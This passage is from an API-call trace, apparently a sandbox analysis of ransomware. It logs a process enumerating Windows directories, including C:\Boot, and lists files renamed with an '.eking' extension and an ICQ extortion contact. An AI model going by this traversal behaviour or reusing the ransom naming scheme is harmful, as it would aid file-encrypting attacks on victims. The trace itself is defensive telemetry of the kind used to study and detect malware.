cAlternateFileName="PARAME~1.EKI")) returned 1 [0275.535] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdea052e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcdea052e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce043f41, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2d312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9RAST_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RGB9RA~1.EKI")) returned 1 [0275.535] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce06a218, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce06a218, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce06a218, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9Rast_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RGB9RA~2.EKI")) returned 1 [0275.535] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce06a218, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce06a218, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce1c159e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13242, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Setup.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~1.EKI")) returned 1 [0275.535] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1c159e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce1c159e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce77cb57, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupEngine.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~2.EKI")) returned 1 [0275.535] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcebcebc8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcebcebc8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcec2fd57, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x48252, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~1.EKI")) returned 1 [0275.535] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1c2fb2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf1c2fb2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf1c2fb2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x76a2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.xsd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~3.EKI")) returned 1 [0275.536] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf168b6b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf168b6b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf19559b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17862, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUtility.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~2.EKI")) returned 1 [0275.536] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf19559b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf19559b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf4156b0, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xa182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SplashScreen.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SPLASH~1.EKI")) returned 1 [0275.536] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1c2fb2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf1c2fb2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf48e5b4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x23522, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sqmapi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SQMAPI~1.EKI")) returned 1 [0275.536] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf4156b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf4156b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf43b8d4, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x3802, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Strings.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="STRING~1.EKI")) returned 1 [0275.536] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf43b8d4, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf43b8d4, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf464983, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x98f2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0275.536] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf464983, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf464983, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf88de22, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x19782, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="watermark.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WATERM~1.EKI")) returned 1 [0275.536] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xcf867bdd, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x5b5245, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~1.EKI")) returned 1 [0275.536] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xd05f7098, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2d7652, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~2.EKI")) returned 1 [0275.536] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x769777f9, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x59b300, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x64.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~3.EKI")) returned 1 [0275.537] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x75ebced2, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~4.EKI")) returned 1 [0275.537] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x75ebced2, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WINDOW~4.EKI")) returned 0 [0275.537] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0275.537] GetProcessHeap () returned 0xaf0000 [0275.537] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb95148 | out: hHeap=0xaf0000) returned 1 [0275.538] FindNextFileW (in: hFindFile=0xb02c48, lpFindFileData=0x2fcfb88 | out: lpFindFileData=0x2fcfb88*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x75cb0000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0275.538] GetProcessHeap () returned 0xaf0000 [0275.538] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb95148 [0275.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0275.540] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0275.541] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD", cAlternateFileName="")) returned 1 [0275.541] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0275.541] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0275.541] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0275.541] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0275.541] GetProcessHeap () returned 0xaf0000 [0275.541] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0275.541] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.542] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0275.542] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0275.543] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0275.543] GetProcessHeap () returned 0xaf0000 [0275.543] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.543] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0275.543] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0275.543] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0275.543] GetProcessHeap () returned 0xaf0000 [0275.543] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0275.546] GetProcessHeap () returned 0xaf0000 [0275.546] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.546] GetProcessHeap () returned 0xaf0000 [0275.546] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.546] GetProcessHeap () returned 0xaf0000 [0275.546] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.546] GetProcessHeap () returned 0xaf0000 [0275.546] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.547] GetProcessHeap () returned 0xaf0000 [0275.547] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.547] GetProcessHeap () returned 0xaf0000 [0275.547] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03108 [0275.547] GetProcessHeap () returned 0xaf0000 [0275.547] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.547] GetProcessHeap () returned 0xaf0000 [0275.547] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-GB\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03108 [0275.548] GetProcessHeap () returned 0xaf0000 [0275.548] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.548] GetProcessHeap () returned 0xaf0000 [0275.548] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.548] GetProcessHeap () returned 0xaf0000 [0275.548] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xba5150 | out: hHeap=0xaf0000) returned 1 [0275.548] GetProcessHeap () returned 0xaf0000 [0275.548] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xba5150 [0275.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0275.549] GetProcessHeap () returned 0xaf0000 [0275.549] HeapFree (in: 